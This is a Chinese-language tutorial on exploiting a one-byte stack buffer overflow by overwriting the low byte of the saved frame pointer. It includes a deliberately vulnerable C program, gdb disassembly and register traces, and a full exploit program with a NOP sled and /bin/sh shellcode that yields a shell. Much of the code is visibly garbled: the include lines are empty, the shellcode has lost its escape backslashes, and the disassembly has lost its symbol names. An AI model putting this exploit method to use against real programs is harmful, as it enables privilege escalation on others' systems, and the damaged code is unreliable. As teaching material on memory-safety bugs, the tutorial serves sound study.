单字节缓冲区溢出

溢出专题（一） 单字节缓冲区溢出

http://tech.ccidnet.com/art/1101/20050407/626435_1.html

通常的缓冲区溢出就是通过重写堆栈中储存的EIP的内容，来使程序跳转到我们的shellcode
处去执行。其实，即使缓冲区只溢出一个字节的时候,也有可能去执行我们的代码。这听起来
有些不可思议，其实还是很有可能的，下面我们就来看看这是如何实现的。

我们先写一个有弱点的程序，它只能被溢出一个字节。

ipdev:~/tests$ cat > suid.c
#include

func(char *sm)
{
         char buffer[256];
          int i;
          for(i=0;i<=256;i++)  //最多可以拷贝257个字节到一个256字节的缓冲区中
                  buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
          if (argc < 2) {
                  printf("missing args ");
                  exit(-1);
          }
           func(argv[1]);
}
^D
ipdev:~/tests$ gcc suid.c -o suid
ipdev:~/tests$

我们可以看到，我们只能拷贝257个字节到一个256字节的缓冲区中，也就是说，我们
只能覆盖堆栈中的一个字节。如何利用这一个被覆盖的字节来达到我们的目的呢？还是
先看一下这一个字节到底是什么。利用gdb可以反汇编我们的suid程序:

   ipdev:~/tests$ gdb ./suid
   ...
   (gdb) disassemble func
   Dump of assembler code for function func:
   0x8048134 :       pushl  %ebp
   0x8048135 :     movl   %esp,%ebp
   0x8048137 :     subl   $0x104,%esp
   0x804813d :     nop
   0x804813e :    movl   $0x0,0xfffffefc(%ebp)
   0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
   0x8048152 :    jle    0x8048158
   0x8048154 :    jmp    0x804817c
   0x8048156 :    leal   (%esi),%esi
   0x8048158 :    leal   0xffffff00(%ebp),%edx
   0x804815e :    movl   %edx,%eax
   0x8048160 :    addl   0xfffffefc(%ebp),%eax
   0x8048166 :    movl   0x8(%ebp),%edx
   0x8048169 :    addl   0xfffffefc(%ebp),%edx
   0x804816f :    movb   (%edx),%cl
   0x8048171 :    movb   %cl,(%eax)
   0x8048173 :    incl   0xfffffefc(%ebp)
   0x8048179 :    jmp    0x8048148
   0x804817b :    nop
   0x804817c :    movl   %ebp,%esp
   0x804817e :    popl   %ebp
   0x804817f :    ret
   End of assembler dump.
   (gdb)
当call指令被调用时，进程会首先将%eip（下一条要执行的指令的地址）压入堆栈。
然后将%ebp的内容压入堆栈，就象在*0x8048134处所看到的。接着进程将当前堆栈
的地址拷贝到%ebp中，接着为局部变量分配空间：%esp减小0x104字节（256+4）。
buffer[]占用了256字节(0x100),整形变量i占4个字节。在溢出发生以前，我们的
堆栈中的情况如下：

         栈顶（低地址）
         
       |---------|  
   |    i    |        4字节
   |---------|
   | buff[0] |  
   |---------|   |
   | buff[1] |   |
   |---------|   |--> 256字节
       | ....... |   |
   |---------|   |
       |buff[255]|  /  
   |---------|/    
   |保存的ebp|        4字节  
   |---------|
   |保存的eip|        4字节
   |---------|
   
    栈底（高地址）
   
这意味着这个被覆盖的字节将会覆盖掉保存的栈帧指针（func()开始执行前被压入堆栈），
如何利用这个字节来改变程序的执行呢？我们先来看看%ebp中内容的变化情况。当func()
将要结束时，%ebp被从堆栈中恢复。（见）让我们再看看接下来发生了什么：
（还是利用gdb来反汇编main())

   (gdb) disassemble main
   Dump of assembler code for function main:
   0x8048180 : pushl  %ebp
   0x8048181 :     movl   %esp,%ebp
   0x8048183 :     cmpl   $0x1,0x8(%ebp)
   0x8048187 :     jg     0x80481a0
   0x8048189 :     pushl  $0x8058ad8
   0x804818e :    call   0x80481b8
   0x8048193 :    addl   $0x4,%esp
   0x8048196 :    pushl  $0xffffffff
   0x8048198 :    call   0x804d598
   0x804819d :    addl   $0x4,%esp
   0x80481a0 :    movl   0xc(%ebp),%eax
   0x80481a3 :    addl   $0x4,%eax
   0x80481a6 :    movl   (%eax),%edx
   0x80481a8 :    pushl  %edx
   0x80481a9 :    call   0x8048134
   0x80481ae :    addl   $0x4,%esp
   0x80481b1 :    movl   %ebp,%esp
   0x80481b3 :    popl   %ebp
   0x80481b4 :    ret
   0x80481b5 :    nop
   0x80481b6 :    nop
   0x80481b7 :    nop
   End of assembler dump.
   (gdb)

当func()调用结束后，%ebp将会被拷贝到%esp中（见),这意味着我们可以
改变%esp到其他的值，但并不是任意的，因为我们只能修改%ebp的最后一个字节。

   (gdb) disassemble main
   Dump of assembler code for function main:
   0x8048180 : pushl  %ebp
   0x8048181 :     movl   %esp,%ebp
   0x8048183 :     cmpl   $0x1,0x8(%ebp)
   0x8048187 :     jg     0x80481a0
   0x8048189 :     pushl  $0x8058ad8
   0x804818e :    call   0x80481b8
   0x8048193 :    addl   $0x4,%esp
   0x8048196 :    pushl  $0xffffffff
   0x8048198 :    call   0x804d598
   0x804819d :    addl   $0x4,%esp
   0x80481a0 :    movl   0xc(%ebp),%eax
   0x80481a3 :    addl   $0x4,%eax
   0x80481a6 :    movl   (%eax),%edx
   0x80481a8 :    pushl  %edx
   0x80481a9 :    call   0x8048134
   0x80481ae :    addl   $0x4,%esp
   0x80481b1 :    movl   %ebp,%esp
   0x80481b3 :    popl   %ebp
   0x80481b4 :    ret
   0x80481b5 :    nop
   0x80481b6 :    nop
   0x80481b7 :    nop
   End of assembler dump.
   (gdb) break *0x80481b4
   Breakpoint 2 at 0x80481b4
   (gdb) run `perl -e 'print "A"x257'`
   Starting program: /home/klog/tests/suid `overflow 257`

   Breakpoint 2, 0x80481b4 in main ()
   (gdb) info register esp
   esp            0xbffffd45       0xbffffd45
   (gdb)

在溢出发生后，%ebp的最后一个字节被修改为0x41('A'),然后%ebp的值(0xbffffd41)
被拷贝到%esp中作为新的堆栈指针(见),
main()会再从堆栈中弹出保存的ebp到%ebp中，这时%esp的值会再增加4个字节(栈顶
向高地址方向缩短4个字节）。这时我们看到的%esp的值就是:
0xbffffd45=0xbffffd41+0x41

很明显，我们不能在func()中直接改变原来被保存的%eip的值，但可以修改main()中的
%esp的值.当进程从一个过程返回的时候，只是弹出堆栈栈顶的第一个字（4字节），将
它作为保存的%eip,然后跳到它去继续执行。但既然我们能修改%esp,我们就可以让进程
弹出一个我们设定的值，然后进程就会跳到那里去执行我们的程序代码。
我们可以构造一个buffer用来完成我们的工作：

   [nops][shellcode][&shellcode][改变%ebp的字节]

这样当溢出发生时堆栈中的情况就是这样的：

         栈顶（低地址）
         
       |---------|  
   |    i    |        4字节
   |---------|
   | 0x90    |  
   |---------|   |
   | 0x90    |   |
   |---------|   |--> 256字节
       | ....... |   |
   |---------|   |
       |shellcode|   |
       | ....... |   |
   |---------|   |
   |跳转地址 |  /  
   |---------|/    
   |保存的ebp|        4字节(最低的一个字节被覆盖）
   |---------|
   |保存的eip|        4字节
   |---------|
   
    栈底（高地址）

我们想让%esp指向跳转地址，以便当从main()中返回时这个跳转地址会被弹入到%eip
中，从而去执行我们的shellcode代码。
现在我们需要得到的是被覆盖的buffer的地址和跳转地址的值。我们不得不先写一个
程序来构造一下真实攻击时的场景。

   ipdev:~/tests$ cat > fake_exp.c
   #include
   #include

   main()
   {
           int i;
           char buffer[1024];
   
           bzero(&buffer, 1024);
           for (i=0;i<=256;i++)    
           {
                   buffer[i] = 'A';
           }
           execl("./suid", "suid", buffer, NULL);
   }
   ^D
   ipdev:~/tests$ gcc fake_exp.c -o fake_exp
   ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
   ...
   (gdb) run
   Starting program: /home/klog/tests/exp2

   Program received signal SIGTRAP, Trace/breakpoint trap.
   0x8048090 in ___crt_dummy__ ()
   (gdb) disassemble func
   Dump of assembler code for function func:
   0x8048134 :       pushl  %ebp
   0x8048135 :     movl   %esp,%ebp
   0x8048137 :     subl   $0x104,%esp
   0x804813d :     nop
   0x804813e :    movl   $0x0,0xfffffefc(%ebp)
   0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
   0x8048152 :    jle    0x8048158
   0x8048154 :    jmp    0x804817c
   0x8048156 :    leal   (%esi),%esi
   0x8048158 :    leal   0xffffff00(%ebp),%edx
   0x804815e :    movl   %edx,%eax
   0x8048160 :    addl   0xfffffefc(%ebp),%eax
   0x8048166 :    movl   0x8(%ebp),%edx
   0x8048169 :    addl   0xfffffefc(%ebp),%edx
   0x804816f :    movb   (%edx),%cl
   0x8048171 :    movb   %cl,(%eax)
   0x8048173 :    incl   0xfffffefc(%ebp)
   0x8048179 :    jmp    0x8048148
   0x804817b :    nop
   0x804817c :    movl   %ebp,%esp
   0x804817e :    popl   %ebp
   0x804817f :    ret
   End of assembler dump.
   (gdb) break *0x804813d
   Breakpoint 1 at 0x804813d
   (gdb) c
   Continuing.

   Breakpoint 1, 0x804813d in func ()
   (gdb) info register esp
   esp            0xbffffc60       0xbffffc60
   (gdb)

从上面的分析，我们可以知道我们要覆盖的buffer是从0xbffffc60+0x04=0xbffffc64
开始的，指向我们的shellcode的跳转地址应该被放置到0xbffffc64+0x100（buffer大
小)-0x04(跳转地址大小）=0xbffffd60处。

有了这些值我们就可以写个真正的攻击程序了。我们用0x60-0x04=0x5c来覆盖%ebp的
最后一个字节。这里要减去4个字节是因为当从main()中返回时，%esp会增加4个字节（
因为弹出了保存的%ebp)。
跳转地址的值并不需要是shellcode的起始地址，只要是NOP指令之间的某个地址即可。
（就象通常的溢出程序一样）即：0xbffffc64---(0xbffffd64-shellcode大小)。
我们这里选用0xbffffc74.

   ipdev:~/tests$ cat > exp.c
   #include
   #include

   char sc_linux[] =
           "xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07"
           "x89x56x0fxb8x1bx56x34x12x35x10x56x34x12"
           "x8dx4ex0bx8bxd1xcdx80x33xc0x40xcdx80xe8"
           "xd7xffxffxff/bin/sh";

   main()
   {
           int i, j;
           char buffer[1024];

           bzero(&buffer, 1024);
           for (i=0;i<=(252-sizeof(sc_linux));i++)
           {
                   buffer[i] = 0x90;
           }
           for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
           {
                   buffer[i] = sc_linux[j];
           }
           buffer[i++] = 0x74; //
              buffer[i++] = 0xfc; //  跳转地址
           buffer[i++] = 0xff; //
           buffer[i++] = 0xbf; //
           buffer[i++] = 0x5c; // 用来覆盖%ebp的字节

           execl("./suid", "suid", buffer, NULL);

   }
   ^D
   ipdev:~/tests$ gcc exp.c -o exp
   ipdev:~/tests$ ./exp
   bash$

成功了！现在让我们仔细的看一下到底发生了些什么。

   ipdev:~/tests$ gdb --exec=exp --symbols=suid
   ...
   (gdb) run
   Starting program: /home/klog/tests/exp

   Program received signal SIGTRAP, Trace/breakpoint trap.
   0x8048090 in ___crt_dummy__ ()
   (gdb)

我们先来设置几个断点来观察被覆盖的栈帧指针的值。

   (gdb) disassemble func
   Dump of assembler code for function func:
   0x8048134 :       pushl  %ebp
   0x8048135 :     movl   %esp,%ebp
   0x8048137 :     subl   $0x104,%esp
   0x804813d :     nop
   0x804813e :    movl   $0x0,0xfffffefc(%ebp)
   0x8048148 :    cmpl   $0x100,0xfffffefc(%ebp)
   0x8048152 :    jle    0x8048158
   0x8048154 :    jmp    0x804817c
   0x8048156 :    leal   (%esi),%esi    
   0x8048158 :    leal   0xffffff00(%ebp),%edx
   0x804815e :    movl   %edx,%eax
   0x8048160 :    addl   0xfffffefc(%ebp),%eax
   0x8048166 :    movl   0x8(%ebp),%edx
   0x8048169 :    addl   0xfffffefc(%ebp),%edx
   0x804816f :    movb   (%edx),%cl
   0x8048171 :    movb   %cl,(%eax)
   0x8048173 :    incl   0xfffffefc(%ebp)
   0x8048179 :    jmp    0x8048148
   0x804817b :    nop
   0x804817c :    movl   %ebp,%esp
   0x804817e :    popl   %ebp
   0x804817f :    ret
   End of assembler dump.
   (gdb) break *0x804817e
   Breakpoint 1 at 0x804817e
   (gdb) break *0x804817f
   Breakpoint 2 at 0x804817f
   (gdb)

上面的断点用来监视在从堆栈滩出前和弹出后%ebp的变化。

   (gdb) disassemble main
   Dump of assembler code for function main:
   0x8048180 :  pushl  %ebp
   0x8048181 :     movl   %esp,%ebp
   0x8048183 :     cmpl   $0x1,0x8(%ebp)
   0x8048187 :     jg     0x80481a0
   0x8048189 :     pushl  $0x8058ad8
   0x804818e :    call   0x80481b8 <_IO_printf>
   0x8048193 :    addl   $0x4,%esp
   0x8048196 :    pushl  $0xffffffff
   0x8048198 :    call   0x804d598
   0x804819d :    addl   $0x4,%esp
   0x80481a0 :    movl   0xc(%ebp),%eax
   0x80481a3 :    addl   $0x4,%eax
   0x80481a6 :    movl   (%eax),%edx
   0x80481a8 :    pushl  %edx
   0x80481a9 :    call   0x8048134
   0x80481ae :    addl   $0x4,%esp
   0x80481b1 :    movl   %ebp,%esp
   0x80481b3 :    popl   %ebp
   0x80481b4 :    ret
   0x80481b5 :    nop
   0x80481b6 :    nop
   0x80481b7 :    nop
   End of assembler dump.
   (gdb) break *0x80481b3
   Breakpoint 3 at 0x80481b3
   (gdb) break *0x80481b4
   Breakpoint 4 at 0x80481b4
   (gdb)

上面的断点用来监视%esp在(movl %ebp,%esp)时和从main()中返回时内容的变化。
现在让我们来运行程序：

   (gdb) c
   Continuing.

   Breakpoint 1, 0x804817e in func ()
   (gdb) info reg ebp
   ebp            0xbffffd64       0xbffffd64

这是%ebp的原来的内容
   
   (gdb) c
   Continuing.

   Breakpoint 2, 0x804817f in func ()
   (gdb) info reg ebp
   ebp            0xbffffd5c       0xbffffd5c

溢出后，我们可以看到%ebp的最后一个字节的内容已经被改变(0x64--->0x5c)
   
   (gdb) c
   Continuing.

   Breakpoint 3, 0x80481b3 in main ()
   (gdb) info reg esp
   esp            0xbffffd5c       0xbffffd5c
   (gdb) c
   Continuing.

此时%esp指向0xbffffd5c

   Breakpoint 4, 0x80481b4 in main ()
   (gdb) info reg esp
   esp            0xbffffd60       0xbffffd60

弹出保存的%ebp后，%esp增加了4个字节，指向我们存放跳转地址的位置
   
   (gdb)

看一下此时堆栈中的情况：

   (gdb) x 0xbffffd60
   0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
   
这里确实存放着我们的跳转地址    

   (gdb) x/10 0xbffffc74
   0xbffffc74 <__collate_table+3086618856>:        0x90909090      
   0x90909090    0x90909090       0x90909090
   0xbffffc84 <__collate_table+3086618872>:        0x90909090      
   0x90909090    0x90909090       0x90909090
   0xbffffc94 <__collate_table+3086618888>:        0x90909090      
   0x90909090
   (gdb)
   
跳转地址指向NOP串的中间。这也就是我们的shellcode开始执行的地方。

   (gdb) c
   Continuing.

   Program received signal SIGTRAP, Trace/breakpoint trap.
   0x40000990 in ?? ()
   (gdb) c
   Continuing.
   bash$
   
下面的简图大致描述了%ebp与%esp的变化。
     
     func()中，返回前         main()中              main()中              main()中

         栈顶（低地址）       addl $0x4,%esp        movl %ebp,%esp        popl %ebp
         
0xbffffc60|----------|         |----------|          |----------|          |----------|
      |    i     |         |    i     |          |    i     |          |    i     |
0xbffffc64|----------|         |----------|          |----------|          |----------|
      | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
         |----------|         |----------|          |----------|          |----------|
      | 0x90     |         | 0x90     |          | 0x90     |          | 0x90     |
      |----------|         |----------|          |----------|          |----------|
 ----->  | .......  |         | .......  |          | .......  |          | .......  |
|        |----------|         |----------|          |----------|          |----------|
|        |shellcode |         |shellcode |          |shellcode |          |shellcode |
|        | .......  |         | .......  |  %esp--->| .......  |0xbffffd5c|......... |
0xbffffd60|----------|         |----------|          |----------|   %esp-->|----------|
|-----   |0xbffffc74|         |0xbffffc74|          |0xbffffc74|          |0xbffffc74| -->%eip
0xbffffd64|----------|         |----------|          |----------|          |----------|
保存的ebp |0xbffffd5c|         |0xbffffd5c|          |0xbffffd5c|          |0xbffffd5c|
 %esp--->|----------|         |----------|          |----------|          |----------|
      |保存的eip |         |保存的eip |          |保存的eip |          |保存的eip |
      |----------|  %esp-->|----------|          |----------|          |----------|
                 
      %esp=0xbffffd68      %esp=0xbffffd6c        %esp=0xbffffd5c      %esp=0xbffffd60  
      %ebp=0xbffffd5c      %ebp=0xbffffd5c        %ebp=0xbffffd5c      %ebp=0xxxxxxxxx
                 
结束语:            
                 
这种方法看起来很不错，它也存在一些问题。只覆盖一个字节来进行攻击当然理论上
是可行的，但也需要一些条件。首先，它需要知道buffer的地址，这要求我们要能构
造相同的攻击环境以便得到这些值，这通常是比较困难的，特别是在远程机器上。由
于只能溢出一个字节，我们的buffer必须紧挨着栈帧指针，也就是说，要溢出的buffer
必须是函数中第一个被宣称的变量。对于大endian结构的系统，%ebp在内存中的顺序是
高字节在前低字节在后，所以将会覆盖掉ebp的高字节，我们不得不保证我们的程序可以
跳到那个地址去执行...
                 
尽管如此，这种方法仍然可以给我们很多启发。也提醒程序员即便是一个字节的疏忽
也可能导致严重的安全问题.:-)